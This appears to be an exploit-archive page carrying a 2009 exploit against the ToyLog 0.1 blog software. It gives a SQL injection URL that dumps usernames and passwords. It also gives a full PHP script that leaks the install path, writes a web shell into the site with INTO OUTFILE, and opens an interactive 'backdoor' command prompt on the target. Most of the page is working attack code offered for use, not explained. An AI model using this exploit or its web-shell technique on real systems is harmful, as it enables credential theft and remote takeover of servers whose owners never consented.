what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ToyLog 0.1 SQL Injection / Code Execution

ToyLog 0.1 SQL Injection / Code Execution
Posted Jul 10, 2009
Authored by darkjoker | Site darkjokerside.altervista.org

ToyLog version 0.1 remote SQL injection and command execution exploit.

tags | exploit, remote, sql injection
SHA-256 | 55523e991afbbbdf369376cec07196c899c0ea0a96b4135234103551debccb8c

ToyLog 0.1 SQL Injection / Code Execution

Change Mirror Download
--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
exit ( "\n".
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
"- -\n".
"+ ToyLog 0.1 Remote Command Execution Exploit +\n".
"- Author : darkjoker -\n".
"+ Site : http://darkjoker.net23.net +\n".
"- Download: http://sourceforge.net/projects/toylog/ -\n".
"+ Usage : php xpl.php <url> +\n".
"- Ex. : php xpl.php http://localhost/ToyLog/ -\n".
"+ +\n".
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
"\n");
}

function hex_format ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}

function get_path ($host, $dir) {
$fp = fsockopen ($host, 80);
$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
"Host: {$host}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $req);
while (!feof ($fp))
if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
$path = $data [1];
list ($path) = explode ("block/db.php", $path);
fclose ($fp);
return $path;
}

function upload_shell ($host, $dir) {
$fp = fsockopen ($host, 80);
$shell_path = get_path ($host, $dir)."shell.php";
if (!strcmp ($shell_path, "shell.php"))
die ("[-] Exploit failed.\n");
$query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
"Host: {$host}\r\n".
"Connection: Close\r\n\r\n";
fputs ($fp, $req);
fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
echo "backdoor@{$host}: ";
$cmd = hex_format(trim (fgets ($stdin, 1024)));
if (!strcmp ($cmd, hex_format("exit")))
break;
$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
array_shift ($out);
array_pop ($out);
echo $out [0];
}

?>

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close